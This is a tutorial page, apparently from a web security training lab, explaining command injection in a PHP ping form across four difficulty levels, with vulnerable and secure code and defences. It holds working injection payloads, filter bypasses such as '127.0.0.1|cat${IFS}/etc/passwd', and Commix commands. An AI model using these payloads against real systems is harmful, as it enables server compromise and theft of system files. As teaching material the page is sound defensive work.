Command Injection

Learn about Command Injection vulnerabilities and how attackers can execute arbitrary system commands through web applications

Overview

Command Injection (also known as Remote Command Execution or RCE) is a critical security vulnerability that allows attackers to execute arbitrary operating system commands on the server running the application.

In this attack scenario, the vulnerable application acts like a pseudo system shell, executing commands specified by the attacker with the same privileges and environment as the web service.

Impact

Successful command injection can allow attackers to:

• Execute any command available to the web server user
• Read, modify, or delete sensitive files
• Install malware or backdoors
• Pivot to other systems on the network
• Completely compromise the server
• Exfiltrate data from the system

Root Cause

Command injection attacks occur due to lack of proper input validation on data that gets passed to system command execution functions. User-controllable input from forms, cookies, HTTP headers, and other sources can be manipulated by attackers to inject additional commands.

Platform Differences

The syntax and available commands differ between operating systems:

• Linux/Unix: Uses shells like bash, sh, zsh
• Windows: Uses cmd.exe or PowerShell

Attackers must adapt their payloads based on the target OS.

Objective

Remotely find out:

1. The username of the web service on the operating system
2. The hostname of the machine

Both objectives should be accomplished via Remote Command Execution (RCE).

Security Levels

Low

Vulnerability Analysis

The low security level has no input validation whatsoever. User input is passed directly to the shell_exec() PHP function, allowing complete command injection.

Vulnerable Code

$target = $_REQUEST[ 'ip' ];

// Determine OS and execute the ping command
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows
    $cmd = shell_exec( 'ping  ' . $target );
}
else {
    // *nix
    $cmd = shell_exec( 'ping  -c 4 ' . $target );
}

$html .= "<pre>{$cmd}</pre>";
```bash

**Key Vulnerability**: The `$target` variable is directly concatenated into a shell command with zero validation or sanitization.

#### Why It's Vulnerable

- No input validation or filtering
- Direct string concatenation into shell command
- Output is displayed directly to the user
- Uses `shell_exec()` which executes commands through the system shell
- Accepts input from `$_REQUEST` (GET, POST, or Cookie)

#### Command Chaining Operators

On Linux/Unix systems, you can chain commands using:

| Operator | Description | Example |
|----------|-------------|----------|
| `;` | Execute commands sequentially | `cmd1 ; cmd2` |
| `&&` | Execute second command only if first succeeds | `cmd1 && cmd2` |
| `||` | Execute second command only if first fails | `cmd1 || cmd2` |
| `|` | Pipe output of first command to second | `cmd1 | cmd2` |
| `` `cmd` `` | Command substitution | ``echo `whoami` `` |
| `$(cmd)` | Command substitution | `echo $(whoami)` |

On Windows:

| Operator | Description |
|----------|-------------|
| `&` | Execute both commands |
| `&&` | Execute second if first succeeds |
| `||` | Execute second if first fails |
| `|` | Pipe output |

#### Testing Approach

1. **Test basic injection**: Try `127.0.0.1 && whoami`
2. **Get username**: `127.0.0.1 && whoami`
3. **Get hostname**: `127.0.0.1 && hostname`
4. **List files**: `127.0.0.1 && ls -la`
5. **Read files**: `127.0.0.1 && cat /etc/passwd`

<Accordion title="Show Hint">
  You can add additional commands after the IP address. Think about how to chain commands in a shell.

  On Linux/Unix, what operator allows you to execute multiple commands in sequence?

  After pinging successfully, what command shows the current user?
</Accordion>

<Accordion title="Show Spoiler">
  **Example payload**: `127.0.0.1 && whoami`

  This works because:
  1. The `&&` operator executes the second command after the first succeeds
  2. `ping -c 4 127.0.0.1` completes successfully
  3. Then `whoami` is executed, showing the current user

  For the hostname:

127.0.0.1 && hostname

      You can also use other operators:

127.0.0.1 ; whoami # Sequential execution 127.0.0.1 | whoami # Pipe (may not work with ping) 127.0.0.1 whoami # Command substitution

      On Windows:

127.0.0.1 && whoami 127.0.0.1 & dir

    </Accordion>

  </Tab>

  <Tab title="Medium">
    ### Vulnerability Analysis

    The medium level implements a **blacklist filter** that attempts to block certain command chaining operators. However, the blacklist is incomplete and can be easily bypassed.

    #### Vulnerable Code

    ```php
    $target = $_REQUEST[ 'ip' ];

    // Set blacklist
    $substitutions = array(
        '&&' => '',
        ';'  => '',
    );

    // Remove any of the characters in the array (blacklist)
    $target = str_replace( array_keys( $substitutions ), $substitutions, $target );

    // Execute the ping command
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

Key Vulnerability: The blacklist only filters && and ;, but there are many other command chaining operators available.

Why It’s Still Vulnerable

• Blacklist approach is fundamentally flawed (you can’t block everything)
• Only blocks TWO operators: && and ;
• Doesn’t block: |, ||, `cmd`, $(cmd), & (on Windows)
• Single-pass filter (doesn’t prevent double encoding)

Bypasses

Since the filter only removes && and ;, you can use:

1. Pipe operator |:

       127.0.0.1 | whoami

2. OR operator ||:

       invalid_ip || whoami

3. Command substitution:

       127.0.0.1 `whoami`
       $(whoami)

4. Backgrounding (Linux):

       127.0.0.1 & whoami

Show Hint

The developer blocked && and ;, but those aren’t the only ways to chain commands in a shell.

Think about other operators. What about piping? What about backgrounding commands? What about command substitution?

Show Spoiler

Example payload: 127.0.0.1 | whoami

The pipe operator | is not in the blacklist, so it passes through.

Other working payloads:

      # Using OR operator (execute if first command fails)
      invalid_ip || whoami

      # Using background operator
      127.0.0.1 & whoami

      # Using command substitution
      127.0.0.1 `whoami`
      $(whoami).127.0.0.1

      # Using newline (if not filtered)
      127.0.0.1
whoami

The hint in the help file mentions “backgrounding the ping command”, referring to the & operator.

High

Vulnerability Analysis

The high level implements a much more extensive blacklist, but still has a critical flaw that allows bypass.

Vulnerable Code

$target = trim($_REQUEST[ 'ip' ]);

// Set blacklist
$substitutions = array(
    '||' => '',
    '&'  => '',
    ';'  => '',
    '| ' => '',  // Note the space after the pipe!
    '-'  => '',
    '$'  => '',
    '('  => '',
    ')'  => '',
    '`'  => '',
);

// Remove any of the characters in the array (blacklist)
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );

// Execute ping command
$cmd = shell_exec( 'ping  -c 4 ' . $target );
```bash

**Key Vulnerability**: The filter blocks `'| '` (pipe with space) but **NOT** `'|'` (pipe without space).

#### Why It's Still Vulnerable

- The blacklist includes `'| '` with a space, but not `'|'` without a space
- This is likely a typo by the developer
- Uses `trim()` to remove leading/trailing spaces, but this doesn't help
- Still uses blacklisting instead of whitelisting

#### The Critical Typo

Look at this blacklist entry:
```php
'| ' => '',  // Pipe followed by a space

This blocks:

• 127.0.0.1 | whoami (pipe with space)

But does NOT block:

• 127.0.0.1|whoami (pipe without space)

Bypass

Simply use a pipe operator without a space:

    127.0.0.1|whoami
    127.0.0.1|hostname
    127.0.0.1|cat /etc/passwd

Show Hint

The developer added many more filters and even used trim() to remove spaces. But they made a small typo in the filter list.

Look carefully at the blacklist - one of the operators has an extra character. What if you remove that character?

The help file mentions that trim() removes leading and trailing spaces. Does it remove ALL spaces?

Show Spoiler

Example payload: 127.0.0.1|whoami

Notice there’s NO space between the IP and the pipe operator.

The blacklist filters '| ' (with space) but not '|' (without space).

Working payloads:

      127.0.0.1|whoami
      127.0.0.1|hostname
      127.0.0.1|cat${IFS}/etc/passwd
      127.0.0.1|ls${IFS}-la

Note: Since spaces in the second command might be filtered, you can use ${IFS} (Internal Field Separator) in bash to represent a space:

127.0.0.1|cat${IFS}/etc/passwd

Impossible

Secure Implementation

The impossible level demonstrates the correct approach: using whitelist validation and proper input sanitization.

Secure Code

$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );

// Split the IP into 4 octets
$octet = explode( ".", $target );

// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && 
    ( is_numeric( $octet[1] ) ) && 
    ( is_numeric( $octet[2] ) ) && 
    ( is_numeric( $octet[3] ) ) && 
    ( sizeof( $octet ) == 4 ) ) {
    
    // If all 4 octets are integers, put the IP back together
    $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];

    // Execute ping command
    if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
        $cmd = shell_exec( 'ping  ' . $target );
    }
    else {
        $cmd = shell_exec( 'ping  -c 4 ' . $target );
    }

    $html .= "<pre>{$cmd}</pre>";
}
else {
    $html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}

Why It’s Secure

1. Whitelist validation: Only allows valid IPv4 addresses
2. Input parsing: Splits input into octets using explode()
3. Type checking: Validates each octet is numeric using is_numeric()
4. Format validation: Ensures exactly 4 octets
5. Reconstruction: Rebuilds the IP from validated components
6. Anti-CSRF token: Validates request authenticity

Defense Mechanisms

Whitelist Approach:

• Only accepts valid IPv4 format: xxx.xxx.xxx.xxx
• Each octet must be numeric
• Must have exactly 4 octets
• Input is reconstructed from validated parts

Why This Works:

• An IP address can ONLY contain digits and dots
• No special characters allowed (&, ;, |, etc.)
• Command injection becomes impossible
• Even if someone tries to inject, validation fails

This implementation makes command injection impossible because:

• Input is validated against a strict format
• Only whitelisted characters are allowed
• The final command can only contain a valid IP address
• No shell metacharacters can pass through

Testing Methodology

Manual Testing

1. Test basic command chaining:
   127.0.0.1 && whoami
   127.0.0.1 ; id
   127.0.0.1 | cat /etc/passwd
   

2. **Test different operators**:

127.0.0.1 || whoami 127.0.0.1 & dir 127.0.0.1 whoami 127.0.0.1 $(whoami)

3. **Test with newlines**:

127.0.0.1 whoami

4. **Test command substitution**:

whoami.127.0.0.1 $(whoami).127.0.0.1

### Useful Commands

**Linux/Unix:**
```bash
whoami          # Current user
hostname        # Machine name
id              # User ID and groups
uname -a        # System information
ls -la          # List files
cat /etc/passwd # Read password file
pwd             # Current directory
ifconfig        # Network configuration
ps aux          # Running processes

Windows:

whoami          # Current user
hostname        # Machine name
ipconfig        # Network configuration
dir             # List files
type C:\file.txt # Read file
net user        # List users
systeminfo      # System information
```bash

### Automated Testing

Tools like **Commix** (Command Injection Exploiter) can automate testing:

```bash
# Basic scan
commix -u "http://target/exec/" --data="ip=127.0.0.1&Submit=Submit"

# Custom injection point
commix -u "http://target/exec/" --data="ip=INJECT_HERE&Submit=Submit"

Defense Strategies

Primary Defenses

1. Avoid System Commands Entirely

   • Use native language features instead of shell commands
   • PHP has filter_var($ip, FILTER_VALIDATE_IP) for IP validation
   • Use libraries instead of system tools when possible

2. Input Validation (Whitelist)

   // Only allow valid IP addresses
   if (filter_var($ip, FILTER_VALIDATE_IP)) {
       // Safe to use
   }
   
   // Only allow alphanumeric
   if (preg_match('/^[a-zA-Z0-9]+$/', $input)) {
       // Safe to use
   }
   

3. **Use Safe APIs**
   ```php
   // Instead of shell_exec("ping $ip")
   // Use built-in functions or safe wrappers
   
   // Use escapeshellarg() if you must use shell commands
   $safe_ip = escapeshellarg($ip);
   $cmd = shell_exec("ping -c 4 $safe_ip");

Additional Defenses

4. Use escapeshellcmd() and escapeshellarg()
   $safe_cmd = escapeshellcmd($command);
   $safe_arg = escapeshellarg($argument);
   

5. **Principle of Least Privilege**
   - Run web server with minimal permissions
   - Use restricted shell environments
   - Disable dangerous PHP functions in php.ini

6. **Disable Dangerous Functions**
   ```ini
   disable_functions = exec,passthru,shell_exec,system,proc_open,popen

What Doesn’t Work

• Blacklisting special characters: Too many bypasses
• Filtering specific operators: New operators always exist
• String replacement: Can be bypassed with encoding
• Client-side validation: Easily bypassed

Resources

• OWASP Command Injection
• OWASP Command Injection Prevention Cheat Sheet
• PortSwigger - OS Command Injection
• PHP escapeshellarg()
• PHP escapeshellcmd()
• Commix - Command Injection Exploiter